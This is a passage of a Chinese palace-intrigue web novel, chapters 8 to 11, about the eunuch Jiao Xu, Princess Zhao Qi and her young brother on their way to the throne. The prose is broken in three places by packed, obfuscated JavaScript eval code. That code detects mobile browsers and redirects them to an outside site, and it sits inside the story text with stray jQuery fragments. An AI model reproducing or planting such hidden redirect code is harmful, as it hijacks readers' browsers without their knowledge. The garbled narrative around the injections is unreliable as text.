左青山也不敢托大,只谦虚道:“只要这两天不发热,应是无碍了。” 赵琦点头,只是说到发热,她忽的转念想到了另一个人。 焦勖梳洗毕,面上的潮红也不见减退,反倒愈艳了些。屋内只他一人,他不再刻意掩盖疲色,驾轻就熟地伸手自随身携带的一个小瓷瓶里掏出一粒红色的药丸,放进嘴里,就水咽下。 自从受了宫刑以后,他这幅身子便时常容易发热,疲极的时候尤甚。 服了药,焦勖闭上眼睛略养着神,忽听守在门外的良平恭声道:“督公,宁王府的左长史求见。” 焦勖歪在塌上,揉了揉眉心,也未睁眼,只温声嘱咐道:“你带左长史到隔间稍坐片刻,我换身衣裳便过来。” 他刚说完,左青山连忙笑呵呵地扬声应道:“督公不用如此麻烦,郡主说督公似是有些发热,特命小老儿来为督公诊治,督公一夜未合眼想是也乏得很,又在病中,还是轻省些的好,小老儿速为督公看过督公也好早些歇息,岂不两 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王爷年纪尚小,又不熟悉朝中事物,日后上京登了基,虽说有内阁扶持,但建武朝一十六年滋生的诸多弊端又岂是一朝一夕能清除干净的。朝廷大员之间关系错综复杂,这个的门生那个的姻亲哪是他们这些久不在京的人厘得清的,往后王爷身边少不得需有个深谙此道之人提点一二。 而这位司礼监的掌印太监便是再合适不过的人选,他的身份,决定了他天然不可能和朝臣们其乐融融,清流们大多自视甚高,要么看不起,要么恨之厌之,总之是不愿意与宦官为伍的。 当用则用,往日的是非功过暂且都可先放一放,来日方长,即便要论过寻因,也需得王爷坐稳了皇位后再说。 左青山暗暗想着,却听屋内半响没有言语。 他不知焦勖是何意,抬眸瞥了眼一旁垂眉敛目活像个石人一般眼观鼻鼻观心的良平,心中暗自诽腹,这东厂上下倒齐整,活像一个模子刻出来的,这是高兴不高兴,好歹也言语一声。 他见良平没有要开口的意思,屋内焦勖也不知在干甚,只得复又笑呵呵地开口:“督公若是不便,那小老儿先到隔...” “左长史请进。” 焦勖终于开了尊口,左青山忙又改口道:“告罪了。” 说着他推门进去,打眼只见焦勖半靠在西侧的塌上,半干的长发披散在身后,白色的中衣外只虚虚地披着一件石青色的袍子,腰上搭着一条猩猩红的薄毯,双腿以下俱都隐在薄毯之中。初初一望,整个人清瘦得过分。 身后良平已重新将门合了上,左青山不敢多看,连忙垂下视线施了一礼。 “有劳左长史了,大人请坐。” 左青山笑呵呵地谢过之后,走至榻前的圆凳上坐下。他凝神细细端详了片刻焦勖的气色,方才笑道:“小老儿能否先观一观督公的脉象?” 焦勖抬起右手递了过去。 左青山细细切了会儿脉,微微蹙眉,眸中露出诧异之色,忙又速速掩了下去,笑着又换过焦勖的左手切脉。 焦勖既不催促也不关心,任其诊视,倒好像左青山是在替别人看病似的。 左青山一面替焦勖把着脉,一面思忖着该如何开口。 他方才一切脉便觉这位督公体内的脉象极为杂乱,偏又有一股气力压制着,想是他为求速愈用了什么乖僻的法子,且素日只怕还没少用。 那玩意本就是个虎狼之药,他又是受过宫刑的人,当年受刑的时候只怕也没好生养过,本就落了病根,哪里是用得起这等厉害药的人,未免也对自己忒狠了些。 若换作旁人,撑着这么副孱弱的身子,还敢胡乱用药,拿自己的身体糟蹋,左青山早就要开骂了,这不简直不要命了么。且观他气色面相,恐日常在饮食上也是多有潦草应付,本就脾胃虚弱之人,饮食上又不将养,得亏他位高权重身边不缺名医罕药,不然哪里活得到如今。 眼前之人是素有活阎王之名的东厂提督,左青山自是骂不得的,只得将话都憋回了肚子里。 宫中太医何等高明,他若有心寻医问药,如何会将身子糟蹋成如今这幅模样。 这位督公恐不是长寿之人。 心中虽如此想,话却是万不可照样说的。 左青山斟酌着措辞笑道:“督公想是连日来奔波得厉害,方才发了急热,吃上两贴药再好生休养几日便不碍事了。只是这几日需得足了饮食,须知以食补气更胜于药补。” 焦勖心中有数,笑了笑,谢过左青山之后,便命良平将人送了出去。 9. 第 9 章 建武帝亡故已有半月,朝中诸事不会因着没了皇帝便自行消失,相反因着各方势力的游走愈发地一团乱麻。在新君抵京之前,朝中的一应大小事宜暂都托了内阁处理。 首辅韩敏趁颁布遗诏之机,一面解散了飞扬跋扈惑乱京中多年的上直团营,免了张振身兼的锦衣卫都指挥使之职,一面又擢升武英侯曹达为京军军马提督,嘱他在新君抵京之前,严禁京营军马调动。 昔年建武帝偏宠张振时,曾为帝师的首辅韩敏便数次进言规劝,只建武帝从不入耳,反倒叫张振怀恨在心,多次在建武帝面前言语挑拨,却也动弹韩敏不得罢了。 朝中诸人原便知首辅韩敏与平虏伯张振不对付,如今建武帝方才归天,韩敏便罢了张振的团营,又免了他锦衣卫指挥使之职,京中瞬时流言蜚语飞满了天。 “老爷,葛都督来了。” “快快请进来。” 张振一面说着一面快步走出书房将葛洪安迎了进去,屏退左右后急忙问道。 “如何?” “我已探过韩敏的口风,大都督且请安心,内阁眼下忙得晕头转向,团营之事是因京中民众早有怨声,如今陛下新丧,新帝又还在路上,韩敏为了安定民心方才解散了上直团营,并非单冲着大都督您而来。而锦衣卫都指挥使之事,则是太后娘娘的意思,陛下毕竟是因着去年南巡才染了病,而今亡故,太后总要迁怒些当时随扈之人,大都督您功高惹眼,太后一时心痛难止,要寻人出气,咱们做臣子的也只能受着,大都督便暂且忍耐些时日,等太后气消了何愁没有机会重掌大权。” 听了这些话,张振提了数日的心略略安定了些,拱手感激道:“多谢都督在中周全,只是...” 他话说一半忽的又顿住,微微蹙眉踱了几步,似是在思忖着如何开口。 葛洪安见他面上仍有忧虑之色,只当他是担心往后内阁再继续为难,遂笑着劝慰道:“大都督也不必过于忧虑,如今虽说是内阁掌事,到底也只这月余,待到新君登基,凡事总还是要陛下定夺的。韩敏不过是想趁着新君进京之前,借遗诏之名趁机拔出异己,大都督大可继续称病避其锋芒,待到新帝登基,自可再从长计议。” 葛红安自以为此法甚妙,他不知的却是,张振心中原另有一番计算。 知晓了建武帝殡天的消息后,张振原想着,若内阁逼人太甚,他了不得只能趁着京中忙乱借机起兵自保,此等杀头的念头本就叫人难以抉择,他尚未下定决心,如今内阁独揽大权多日,却也只是解散了上直团营,他便愈发地拿不定主意。 葛洪安虽与他交好,但他出身世袭官宦之家,怎可能冒着杀头的危险随他起兵,此番不可言说的心思自是决计不能叫他知晓的。 张振双手交叉着背在身后,食指焦灼地叩动着手背,面上却是笑着点头称是,又与葛红安寒暄了两句,便命人速去置办酒宴款待葛红安,悄悄将府里两个如花似玉的美妾赠了予他。 两人在张振府中荒唐嬉戏至天明,张振才将喝得酒酣耳热的葛红安并两个美妾着人妥帖地送归他家中。正欲回房歇息时,一个花团锦簇的身影打回廊奔出直扑进他怀中。 美人扬起一张哭得梨花带雨的脸,好不可怜地娇声软语道:“请爷为莲儿做主...” 张振本是贪色之人,这名唤莲儿的宠妾又正得宠,美人在怀,身娇语软,他又酒意正盛,立时便酥了半边身子,连忙笑着哄道:“告诉爷是何人欺负了你,爷即刻就捆了他来给你出气?” 莲儿微微抬眸,红着一双如丝媚眼看着张振,半响又自叹道:“算了,爷这两日正心烦,莲儿已不能为爷解忧,还是不要拿这些小事来烦爷的心。” 她小意温柔,张振甚是受用,便愈发地怜惜她,一面笑着轻刮了下她的脸颊一面低声哄道:“不妨事,欺负爷的心头人便是不给爷脸,爷保管叫他后悔生在这世上。” 莲儿低头红着眼睛,使了个眼色给身后的丫鬟,自己却不则声,好不委屈的模样。 张振一时心中又怜又爱,瞪眼斜眸朝跟在她身后的丫鬟望去,厉声道:“你来说,什么人胆敢欺负你主子?” 那丫鬟见问,红着眼睛跪地说道:“求老爷为主子做主,那朝云郡主也欺人太甚,不说少爷是为皇上办差,就是冲着老爷您的面子,也不该将我们少爷打成那样,俗语说不看僧面看佛面,她这是半点不将咱们平虏伯府放在眼中。” 原来这名唤莲儿的宠妾便就是当日掳走汪莞的恶少许茂的胞姐,莲儿昨日收到家书,父母在信中哭诉她胞弟许茂被宁王府的朝云郡主打成重伤,至今仍只能卧床休养,信中自是添油加醋了一番朝云郡主如何狠毒,以势欺人,她弟弟本是为皇上办差却凭白被打得差点丢了性命又是如何可怜等等言语。是以莲儿这才巴巴地跑来找张振为她弟弟撑腰。 张振一时也弄不清朝云郡主是哪个,皇家这么多儿孙,除了顶头太后亲生的福宁公主,旁的老公主小郡主谁有闲心分得清。 他拥着莲儿,低头朝那丫鬟不耐烦道:“什么朝云郡主朝雾郡主,你只拣重点说,她如何你们家少爷了?” 那丫鬟忙又将信中之言添油加醋地倒了出来,张振初还费神听着,待听到陆州两个字时,忽的变了脸色。 “慢着!你方才说是在陆州惹了祸?” 他心底忽然生出不好的预感,连酒也醒了七分,且不去理会那丫鬟,当即一把钳住莲儿的臂膀,厉声质问她。 “那王府可是宁王府?” 此时张振面色扭曲,方才的含情脉脉俱已不复踪影。 那莲儿不知他何故像变了一个人,被吓得一时也忘了哭泣,惊惧不定地望着他说不出话来。 “说话!” 莲儿泪如雨下,忍着惧意浑身颤抖着答道:“是...是陆州宁王府的。” 话音未落人已被张振一把攘在地上,大骂:“贱人!还有你那个成事不足败事有余的弟弟!他要害死我!” 说罢也不管那早已吓傻的宠妾莲儿,急吼吼地拐去书房命人速去请心腹幕僚等入内。 这两日赵琦都在客栈中埋头赶抄佛经,这佛经是她预备入京后送给冯太后的见面礼。 冯太后地位尊崇,这世间何等罕物得不着没见过,与其费尽心思寻些入不得眼的物什,倒是这亲手誊抄的佛经还心诚些。 只是马车上颠簸,每日唯有夜间睡前方可抽出些空闲抄写,到今日也才抄了一半。 赵琦搁笔略歇了歇,伸手揉了揉僵硬的脖颈,远远地只听见郁离兴冲冲地跑进来。 “郡主郡主,奉迎使队到了,正往这边来呢。” “到了?不是说明日傍晚才到能到的么?” 赵琦立时起身,边往外走边细问:“几时到的?是都来了还是先遣了人进城知会?” “都来了,冼大人一行是酉正时分到的汝阳城外,着人叫开城门后,先遣了人过来通报一声,这会儿正一道往这赶来呢。” 说话间,赵琦已行至赵琮门外。 只见焦勖早已候在房外听旨,她脚步放缓,微微笑着问他:“焦大人可大好了?” 那日随口嘱咐过左青山前去问诊之后,她也未再过问过,这两日只潜心抄写佛经,若不是此时碰上,她险些都要忘了这人了。 焦勖仍旧是低眉敛目的模样,听她问,眸光颤了颤,方才笑着回道:“托郡主的福,已大安了,烦劳郡主挂念了。” “那便好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735154|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵琦笑着略一颔首,不再多言,走进房内,只见修德正服侍赵琮在更换朝服。 赵琮的面色较往日郑重许多,不苟言笑的模样令他看上去很有几分威严。若旁人见了,定是要赞一句少年持重,偏赵琦最是熟悉他不过,只一眼便看出,他面上虽佯装得老成,实则紧绷的嘴角早已泄露了他的紧张。 他到底也只才十五岁,此前又从未涉足朝堂,身边唯一担着一官半职的左青山又是个多年闲散于王府之中久不得志之人,纵使再如何用心,能教他的东西也不过是些纸上谈兵之言。 他此刻将要迈进的已是一个全然陌生的世界,朝廷诸事如何处置,老臣们又是否好相与,而他自己到底能否堪当重任,成为一个合格的君王,一切的一切,俱都还是未知数,赵琮再如何老成,终究亦只是个少年人,心中难免生出些前路迷雾重重的彷徨。 “阿姐你来了。” 见到赵琦进来,赵琮面上不觉松了一松,方才露出一点笑意。 赵琦笑着走到他跟前,伸手帮他整了整衣冠,温声道:“我的琮儿长大了,放心地去做你认为对的事吧,阿姐永远你身后。” 她的眼神温柔又坚定,赵琮不觉笑了笑,心中的彷徨跟着散去,心底渐又重升起万丈豪情。 阿姐,你看着吧,总有一天,我定会叫这天下海晏河清,民生富足。 “王爷,郡主,冼大人,庆国公,孔大学士已到了门口,请见王爷和郡主。” 卫宪入内来报。 “请几位大人在厅内稍候片刻,本王即刻便来。” 吩咐毕,赵琮转头笑望着赵琦,眼神已是明亮坚定。 “阿姐,我们走吧。” 赵琦含笑点头。出得门来,她有意落后半步行至焦勖身边,笑着悄声托付他:“京中人物姓名繁杂,倘或有错认或是不周之处,有劳大人警醒些,帮着周全一二。” 她忽然靠近,近得呼吸声都清晰可闻,焦勖脚步微顿,低垂的眸光颤了颤,开口时嗓音暗哑。 “郡主折煞臣了,原是臣的本分,臣自当尽心。” 前头赵琮见她落在后面,已偏头疑惑地寻了过来。赵琦又笑了一下,方才快步走回赵琮身侧,她没发现那声贴得极近的笑声令焦勖不由自主地僵了一瞬。 转出过道,入眼便见大堂乌泱泱站了一地人。 焦勖忙摒除杂念,紧走两步贴在赵琮和赵琦身后,拣重要的人等低声介绍道:“东起第一位是冯国舅,正中是庆国公,最右是冼大人,在他们之后由东至西依次是武安侯萧翊,驸马都尉许知安,大学士孔益道。” 他出声得恰是时候,赵琮微微侧目瞥了他一眼,在心中速将人物脸谱与这些时日恶补的姓名一一对上,心中有数后,方步履从容地迈下旋梯。 赵琦顺着焦勖的话往下扫了一眼,奉迎使团的人来得远比圣旨上指派的多不少,就连冯国舅居然也在列。 她目光淡淡扫了一圈,落在庆国公身上时忽的想起一则早年间的旧闻,不觉轻嗤了一声。 说起来,这位庆国公原是当过她的姑爷爷的。 当年他与皇爷爷最小的妹妹永嘉公主喜结连理,两人本是青梅竹马又兼郎才女貌,身份地位又俱都显赫,不知羡煞京中多少人。只不过往后的故事却俗套得很,男人朝秦暮楚偏还要佯装深情,真正矢志不渝的人反倒成了世人口中容不得人的妒妇。 好在她那位皇姑奶奶也是个奇人,你既无情我便休。这世道凭什么只叫男人休女人,她偏要先休了薄情郎,于是一纸休书扔于庆国公,带着屋里人和嫁妆随即扬长而去,两人至此老死不相往来。 只可惜于情之一字上,她娘没能有她这位皇姑奶奶一半的洒脱。 10. 第 10 章 “臣等叩见宁王殿下,殿下千岁千岁千千岁!郡主金安!让殿下和郡主路上受惊,险些酿成大祸,臣等罪该万死!” 未及待赵琮步下旋梯,堂中一干人等忽的跪地齐声告罪。 赵琦脚步一顿,不觉扬眉。 瞥见当先在前的赵琮没有心理防备被这镇山响的告罪声唬得险些失了稳重,又有些好笑。 这是唱的哪一出,一行人见了面异口同声地先告罪,要说没通过气,她可不信。 这满屋子跪着的俱都是朝中勋贵要员,非是焦勖这等天子家奴可比,赵琮只顿了片刻便忙快步走下旋梯,温声让众人快起。 “诸位大人快快请起,不知者不罪,原是献王包藏祸心,各位大人又岂能未卜先知。且本王和郡主俱也安然无恙,诸位大人不必放在心上。” 冼正言和孔益道面含愧色,闻言愈觉有愧皇恩,非但不起,还又伏地叩了一首,羞道:“老臣等奉旨迎护殿下,却叫殿下和郡主受了惊,实为老臣等的失职,殿下和郡主若是有个闪失,老臣有何颜面去见大历的列祖列宗!” 冼正言和孔益道这厢刚说完,未待赵琮给出反应,那边庆国公也跟着愧声伏地。 “殿下宽厚,原是臣等的福气,臣等迎护不力,致使殿下身陷险境,论过当罚,臣请殿下降罪。” 庆国公心中暗忖,如今已叫司礼监和东厂抢了救护之功,新君年幼,看着也和善,听其言语也不像是气量狭窄之人,此刻诚心些认罪,叫其看到重视之意。想他少年人面嫩心软,既见了这番恳切,心中必然欢喜。 听着那老不要脸的庆国公巧舌如簧地惺惺作态,武安侯唯恐落了下风,忙也躬身拜了一拜,语气哽咽道:“老臣也请殿下降罪,幸而殿下自有天佑,逢凶化吉,否则老臣唯有以死谢罪了。” 武安侯一面说着一面在心底痛骂献王。 原本奉迎使是个美差,只来这一趟便能白赚个迎立之功,偏有那没眼珠的献王横生波折,叫好事险些变作歹事。 本欲起身的冯国舅瞥见庆国公几个又是哭又是拜,跪得结结实实,方离地寸许的膝盖忙又落了回去,心里不禁埋怨冯太后硬要将他放进奉迎使团中。 这一路吃不好睡不好,紧赶慢赶过来接这小娃娃,险些没要了他的老命,好处没捞着,反倒被牵连了个迎护不力之罪。 这起人好生无趣,她和琮儿又不是死了,一个个的三拜九叩,又是哭又是嚷的。既已说了不怪罪,便是就此揭过,嘴上嚷着要降罪罚他们,难道琮儿真罚了他们会高兴。 心里也未必真想求罚,面上却非要推让上几个来回才肯罢休,一个个的还不如她身后那人爽利,有这你推我让的闲功夫不如用在谈正事上。 她们已经耽搁了几天了,尽早将今明两日的一应事宜商议安置妥当,早日启程才是正事。 赵琦平日最烦这等迂腐酸儒做派,偏偏今日一次听了个够。 赵琦不耐烦听,只不搭理就是。赵琮可不行,即便心里知道这些奉迎使团的老臣也不是真心求罪,还是要配合着他们把戏演完。 “诸位大人不远千里来迎送本王入京,一路舟车劳顿,本王原已不胜感动,岂能再因旁人之过责怪于众位,诸位要再不起身便是存心要本王不安了。” 赵琮言语恳切,语毕一左一右分握住冯国舅和庆国公的手臂,温声道:“国舅和庆国公路上辛苦了,快快请起。” 二人见他亲身来扶,自是不敢再推脱,顺势起身。 赵琮速又伸手扶了右手边的冼正言一把,亦温声道:“冼大人也快快请起,大人若是非要自认有罪,那便命你将功补过,日后需得勤为朝事献言。” 冼正言自觉受了嘱托,面上的愧色稍减,起身向赵琮郑重施了一礼,哽声道:“谢殿下恩典,老臣必当肝脑涂地。” 赵琮微微一笑,扬声对越后一排的武安侯等人道:“武安侯,孔大人,许都尉,诸位也都请起,此事便就此揭过,往后不许再提。” 众人听赵琮俱都叫出了他等的名姓,很是受宠若惊,一面谢恩一面忙遵旨起身。 赵琮含笑望向冯国舅,温声道:“国舅一路可好?琮劳长辈千里奔波,在此谢过。” “老臣惶恐,老臣有幸能来迎护殿下入京,是老臣的福分,怎当得起殿下的谢字。” “国舅如此便是见外了,这里不是朝堂,国舅是长辈,琮为晚辈,咱们往日原是难得一见,现今倒是应该更亲厚些才是。日后琮若行事不周,还要有劳国舅不辞劳苦来指点教导。” 冯国舅万没料到赵琮居然会如此亲待于他,比个亲侄儿也差不了多少,当着一干老臣的面,他自觉分外有体面。 原本来时还因着冯太后和内阁最后选了赵琮继任皇位的缘故,心中对他生了些嫌隙。此刻见了他亲厚的态度,哪里还有郁气,心中又是得意又半是羞愧,再看赵琮,愈发地顺眼了。 赵琦会意,忙也笑着上前同冯国舅行了舅外礼,又同庆国公等见了礼。 赵琮赐了座,赵琦命文竹和郁离看茶。 “京营军马三千在城外十里听命,未经殿下旨意,不敢入城。”庆国公禀毕,恭声请示赵琮:“殿下看可要调他们过来?” “不必了,这一两日也就启程了,一来一往反倒扰民,就命他们在城外就地安营扎寨。” 庆国公答应着。 只是他听赵琮的意思,似是这两日还不打算离了这地,环顾了眼四周不觉蹙眉。 “殿下今夜还是歇在客栈?” 他一面说着一面瞥了眼焦勖,含沙射影道:“焦掌印这样一个稳当人,这回怎如此疏忽,殿下万金之躯,怎可让您住在这般寒酸简陋之地。” 这话可禁不住细思,若细思下去,往轻了说,焦勖是侍奉不周,往重了算,要治焦勖个欺新主年幼有意轻慢的罪名可容易得很。 在座的都非蠢人,庆国公话中暗含的挑拨之意,他们岂会听不出,只斗的是个阉人,众人便都乐得看戏。 武安侯原就暗恨东厂隐秘献王图谋不轨的消息,趁机抢了头功,见庆国公借机指责焦勖怠慢了新君,遂生落井下石之心,忙应声附和道。 “原以为焦掌印往日行事最是周全,陛下在时还时常夸赞,才放心让焦掌印先行来侍奉王爷,谁知焦掌印让王爷和郡主住在此等闹市之中,倘或有那不长眼的犯了天颜,或是冲撞了郡主,焦掌印如何担待得起。” 赵琮自是能听出庆国公和武安侯的用意,再见在座其余人等俱都一副习以为常乐见其成的神态,心中便已多少明白了些这些朝臣必是与焦勖这行宦官早有不合。 他心中原也有同左青山一般的算计,焦勖于他而言,现下还算好用。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735155|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但他不是建武帝,不会纵容内宫的奴才把手伸到不该伸的地方,既是奴才,就该认清自己的身份。凭你有如何的滔天权势,都只是主子暂借于你的,若是由此生出什么痴心妄想,意图凭借宦官的身份干涉朝政,那便是死不足惜。 赵琮既有意敲打焦勖,又可借此机会试探一番这些勋贵老臣的人物做派,自然是不会轻易表态偏向任何一方。 他只默默听着,面上做出沉吟状,倒要看看庆国公和武安侯还有什么招数没使出来。 焦勖自是看得出赵琮有意敲打他,他恪守着身为奴才的本分,主子既不责问,他便不该随意插话。 宁王不是建武帝,他不需要一个为他和朝臣争锋相对的心腹近侍,他需要的是一个听他话的影子。 算上这次,赵琮已接连两次借机敲打他了,焦勖心知肚明,却并不惊惧惶恐。从推赵琮接皇位那一刻起,他便为自己写定了结局。 无人会相信,一个宦官最终想要的,是为天地立心,为生民立命,为万世开太平。 这原是焦勖自小立下的志向,他本来是可以正大光明地去践行此志,而今他却只能孤身游走在这阴诡地狱里。 赵琦打量着垂着脸侍立在赵琮身后的焦勖,耳听庆国公和武安侯无论说些什么,他都既不推卸也不争辩,永远是那副低眉敛目的恭顺模样。 不知为何,忽然觉得他有些可怜。 这情绪来得莫名其妙,赵琦自己都说不出个所以然来。 她一面暗骂自己近日时常鬼迷心窍生出些不着调的荒唐心思,一面还是开口打断了庆国公和武安侯接下来的话。 “国公爷和侯爷这话倒是冤枉焦大人了,是我让焦大人寻的这一处住处。我想着正是国丧,原该轻省些,此去京中一路上又少不得要朝廷额外多使些支出,各地的税收原是有份例的,我们多用些,正经做事的时候便难免短少些,都是民脂民膏,实不敢再铺张。此间廊屋环绕,榆柳成荫,虽不十分奢华,倒也整洁清净,略住几日也不妨事,是以我才让焦大人寻了这处。” 庆国公和武安侯听见这话,只当她是女儿家面嫩心软,心下虽觉得赵琦的妇人之仁颇有些坏事,面上却忙笑着恭维道:“这原是郡主的慈悲,难为郡主年纪轻轻能想得这样周全,又尊重了陛下,又体恤了百姓,只是到底委屈了王爷和郡主。” 焦勖也没想到赵琦会突然出声,这是第一次,有一个人在这种时候站在他这一边。 皇帝需要他制衡朝臣,清流们不齿与他为伍,他从来便是孤身一人,他也习惯了如此。 忽然来了个人,会在有人挑拨攻讦他时出言维护他,焦勖的第一反应不是喜悦,而是惊恐。 他是个阉人,他已经习惯了在暗无光日的阴诡世界里游走,他知道世人是如何唾弃憎恨他这类人的。 他好不容易叫这颗心死了,再不会生出不该有的痴心妄想。 焦勖隐在宽袍广袖中的右手忽的紧紧握住左腕上的那颗红豆,有一瞬间几乎要维持不住脸上万年不变的笑了。 他在想什么,他连让赵琦近他的身都不敢。方才赵琦只是离他近些,他就立时四肢僵硬,唯恐自己身上有什么怪味叫她闻着生厌。 焦勖心底生出一股从未有过的倦怠感,后面赵琦又和庆国公等人说了些什么他也没了听的心思。 11. 第 11 章 “杨姑娘,你便饶了我们罢。” 杨威杨武兄弟两个苦着脸作揖讨好,犹自垂死挣扎。 要他们穿女装还自罢了,这还要簪钗梳髻涂脂抹粉的,被府里那帮兄弟看到,非笑破肚子不可。 “我还没嫌弃你们呢。既是要扮,岂能叫人一眼就看出破绽。别动!都坐好了。郡主往日是怎样待你们的?她头回有事求到你们,且还没叫你们上刀山下火海呢,你们就不愿意了,可见往日说的好听,都是假的。” 文竹笑得温温柔柔,一面说着一面拿郁离的钗子朝两人头上比划了一比,凝眉打量了一番,微微蹙起了眉。 “算了,倒也勉强看得过眼。” 讨价还价没有成功,还被嫌难看,两兄弟眼一闭,放弃了抵抗。 文竹一面替他们梳妆打扮一面叮嘱道:“待会儿若有人来送茶送饭,你们俩只不说话,只将侧影示人便可,其余一切我自会应对。” “知道了杨姑娘,郡主难得有事要我们帮忙,郡主回来之前,我们保证不会穿帮。” 赵琦和郁离换好从杨威兄弟那借来的府卫衣服,彼此打量了一眼,禁不住都笑了。 “郡主你看我扮得像吗?” 郁离兴致勃勃地学着往日府中护卫的模样,左手按刀,阔步在帐中来回走动。 赵琦看她小孩穿新装的新鲜模样,不觉好笑。 往日在陆州时,她在府中来去自如,城中的街巷酒肆,郊外的山前陌上,她想去便去。文太妃在世时,从不拘着她的天性,必要她做一个符合世俗礼教界定准则内的规规矩矩知书达理的王府郡主。 赵琦从小如此长大,从不觉得只有男子才可光明正大地在世间行走,她无需女扮男装才敢穿街走巷,山林打马,纵有人言谓她任性轻薄,有失大家闺秀的端庄,她也丝毫不以为意。 左右这些人也都只是些只会背地里嚼舌根的无能之辈,但凡多看他们一眼便是自辱了身份,若是不长眼敢来她面前说三道四,打一顿便是。 此刻若还在陆州,她自是可依旧如此行事,因为在陆州,天大地大宁王府最大。如今要上京,却是不比在陆州时了。 她知道朝中有那等言官御史,平日有事无事,最喜欢挑人礼教上的错处,她自不惧,闲言碎语罢了,还能叫她少块肉不成。 然而琮儿当了皇帝,不再是从前那个不惹眼的闲散藩王,一言一行多少双眼睛盯着。她身为胞姐,言行举止若是太过出格,少不得要被那些无事忙的御史言官拿去烦他。 他政事且尚未熟悉,在朝中全无根基,何必叫他整日为这些鸡毛蒜皮的小事听人唠叨,为她与朝臣心生嫌隙。 是以自上京始,赵琦便有意收敛了些许往日任性肆意的脾性,暂且当个知书达理娴静端庄的王府郡主,行是马车,无事不出营帐,晚间则静心抄写经文。 但俗语有言:江山易改本性难移。 安分地当了二十几日知书达理的娴静闺秀,这日晚间奉迎使队在依山傍水的林中扎营休整。 赵琦刚下马车,惊雷又嘶鸣着凑过来亲近地把头贴在她肩上,不时地轻拱她的肩背。 赵琦知这又是惊雷催她带它出去撒欢,这些时日她不得放纵,连带着也委屈惊雷这匹千里良驹只能跟着它的主人一道收敛脾性,不得肆意驰骋。 此刻远处是落日修竹,近处是一条在山色掩映下一望无际的古道。赵琦抚着惊雷的脖子,不觉心又痒了,她真的好久未纵马疾驰过了。 如何能既不破坏她辛苦数日维持的娴静端庄形象,又能带着惊雷好好纵性一回,那便只有乔装打扮这一条路了。 是以这才有了杨威杨武兄弟被抓去假扮她和郁离的情景。 郁离昂首阔步走了几个来回,又是忐忑又是兴奋道:“我还是第一次扮男装,也不知道像不像,心里怪紧张的。郡主,你说一会儿东厂的人会不会看出咱们是假扮的啊?” “一会儿你行动只管自若些,纵使他们真察觉出些异常,最多也不过是请王府的人过来比对比对,不敢声张的,王府来了人,认出是咱们,自会帮着遮掩。” 语毕赵琦掀开帘帐出去,带着郁离镇定自若地朝守着厂卫的出口处走了过去。 赵琦和赵琮的营帐在营地的最内围,四周的营帐住的全是宁王府自己的人。外侧一圈住的则是东厂的人,同时担负守卫和警戒之职。未免叫京军营的人冲撞了赵琮赵琦,在东厂守卫的外侧一圈单设了几个出入口,有专门的厂卫把手,闲杂人等一律要查验过方可出入。 因赵琦几个女眷在,冯国舅庆国公武安侯等各自安营在次外围一圈,最外围则是他们带来的三千京军。 郑秉见焦勖忽然顿住步子,凝眉望向右前方,顺着他视线的方向看过去,只见到两个宁王府府卫穿着的人打横走过去。看身量,应是两个少年,郑秉隐约记得这回宁王府随行的府卫中确有两个年纪不大的少年。 他未看出异常,蹙眉忙问道。 “主子,有何不妥?” 焦勖未答话,定定地望了一会儿,确认其中一个打扮成王府府卫模样的人确是赵琦后,丢下一句‘不用跟了’,便抬步跟了过去。 赵琦走到出口处,同负责守卫的厂卫们说她们是遵宁王吩咐出去放马吃草的。 两个厂卫见是宁王府人,俱都十分客气,刚错开了身放行,左侧年长的厂卫忽的想起什么,急又出声叫住了两人。 “且慢!” 赵琦和郁离对视一眼,郁离眼中乍然生出了几分紧张。 赵琦朝郁离使了个镇定的眼色,笑着转过身来:“二位厂公还有事?” 年长的厂卫紧走两步上前,目光落在赵琦和郁离的脸上端详了片刻,客气地笑道:“请恕在下眼拙,二位兄弟看着有点眼生,王府护卫中好似未曾见过二位。实是上头有交代,王爷身边出入不得有半点闪失,我等职责所在,在下少不得需请王府中人来辨认辨认,得罪之处还请二位见谅。” 赵琦笑了笑,十分配合。 “哪里的话,王爷的安危事关重大,小心谨慎些也是应该的,反倒是诸位连日来巡视守卫,着实辛苦了。” 她话说得温和,言语又体贴。两个厂卫少有得人尊重的时候,有些受宠若惊,怔了怔,忙笑着回道:“应该的,这也本是我等分内之事。” 世人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735156|174051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他们东厂的人不是惧怕便是避之唯恐不及,自然也有那面上阿谀奉承讨好的,只是转过头去背地里阉狗妖人骂得只比那当面下脸的更狠。如眼前这名王府护卫这般不倨傲亦不谄媚,只以寻常态度跟他们说话的,还是头遭遇到。 